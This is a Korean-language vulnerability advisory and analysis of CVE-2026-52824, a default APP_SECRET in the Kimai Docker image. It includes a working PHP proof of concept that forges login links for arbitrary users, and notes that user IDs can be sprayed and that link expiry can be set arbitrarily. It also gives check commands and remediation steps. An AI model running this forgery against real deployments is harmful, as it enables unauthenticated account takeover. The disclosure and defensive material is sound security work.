
CVE-2026-52824에 대한 기술 분석 및 PoC: Kimai Docker 이미지의 기본 APP_SECRET으로 인해 인증되지 않은 로그인 링크 위조가 가능합니다. <= 2.57.0에 영향을 미치며, 2.58.0에서 수정되었습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-52824 |
| 권고 | GHSA-jr9p-4h4j-6c58 |
| 심각도 | Critical |
| CWE | CWE-1188, 안전하지 않은 기본값으로 리소스 초기화 |
| 영향 | kimai/kimai <= 2.57.0 |
| 수정 버전 | 2.58.0 |
| 권고 게시일 | 2026-06-11 |
| GitHub Advisory Database 추가일 | 2026-07-14 |
| 보고자 | AzureADTrent |
공식 Kimai Docker 이미지에는 하드코딩된 APP_SECRET이 포함되어 출시되었습니다. 이 값은 Symfony의 kernel.secret이 되어 로그인 링크, remember-me 쿠키, 비밀번호 재설정 URL 및 CSRF 토큰에 서명합니다. Kimai의 로그인 링크 서명이 사용자의 id만을 포함했기 때문에, 알려진 secret을 가진 인증되지 않은 공격자는 오프라인에서 유효한 로그인 링크를 계산하여 임의의 사용자로 인증할 수 있었습니다.
Dockerfile:263에는 다음과 같이 설정되어 있습니다:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7은 이를 kernel.secret으로 사용합니다:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh는 sentinel 값에 대한 검사를 수행하지 않았고, .env.dist:38에는 베어메탈 설치용으로 동일한 기본값이 포함되어 있었습니다. 기본값으로 부팅을 거부하는 시작 시 가드는 없었습니다.
따라서 APP_SECRET을 명시적으로 재정의하지 않은 모든 Docker 배포는 공개적으로 알려진 서명 키로 실행되었습니다.
Kimai는 /en/auth/link/check에서 user, expires, hash 매개변수로 로그인 링크를 소비합니다. hash는 44자 HMAC과 44자 필드 해시가 직접 연결된 형태로, 오프셋 44에서 분할하는 acceptSignatureHash()와 일치합니다.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
성공적인 요청은 302 응답을 반환하고 대상 계정에 대한 KIMAI_REMEMBER 쿠키를 설정합니다.
expires는 HMAC 안에 포함되어 공격자가 통제할 수 있고, 검증은 이미 지난 타임스탬프만 거부합니다 — verifySignatureHash()는 $expires < time()만 검사하며 그 외에는 아무것도 검사하지 않습니다. 구성된 lifetime: 900은 링크 생성에만 적용되며 검증 중에는 절대 참조되지 않으므로, 위조된 링크는 임의로 먼 만료 시각을 가질 수 있습니다.
max_uses: 3도 마찬가지로 무의미합니다. 이는 발급된 단일 링크의 재사용을 제한할 뿐이며, 공격자는 시도할 때마다 새 링크를 생성합니다.
권고에는 세 가지 전제 조건이 나열되어 있습니다: 사용자 이름이 알려져 있어야 하고, 올바른 계정 ID를 추측해야 하며, 계정에 활성 2FA가 없어야 합니다.
실질적으로 이러한 조건들은 취약합니다. 사용자 ID는 1부터 순차적이며, 첫 번째 super_admin은 일반적으로 ID 1이고, 각 시도는 단일 인증되지 않은 GET 요청입니다. 사용자 이름과 ID 공간을 스프레이할 수 있습니다. 이중 인증만이 공격을 의미 있게 차단하는 유일한 전제 조건입니다.
로컬 점검:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
.appsecret 파일이 없고 sentinel APP_SECRET이 있으면 취약한 배포를 나타냅니다.
2.58.0 이상으로 업그레이드하십시오. 수정 사항:
APP_SECRET을 제거합니다bin2hex(random_bytes(32))로 secret을 생성하고 /opt/kimai/var/data/.appsecret에 저장한 다음 /opt/kimai/.env.local에 쓰는 entrypoint 스크립트를 추가합니다즉시 업그레이드할 수 없다면 고유한 고엔트로피 secret을 명시적으로 설정하십시오:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
APP_SECRET을 교체하면 기존 remember-me 쿠키, 보류 중인 비밀번호 재설정 링크 및 진행 중인 CSRF 토큰이 무효화되며, 사용자는 다시 로그인해야 합니다. 노출 여부를 확인할 수 없는 경우에도 교체와 세션 무효화는 안전하게 수행할 수 있습니다. 자신의 상태를 확인할 수 없는 운영자는 추정하지 말고 교체해야 합니다.
projectdiscovery/nuclei-templates에 공개적으로 게시됨이 분석은 해당 메커니즘이 독립적으로 공개될 때까지 보류되었습니다.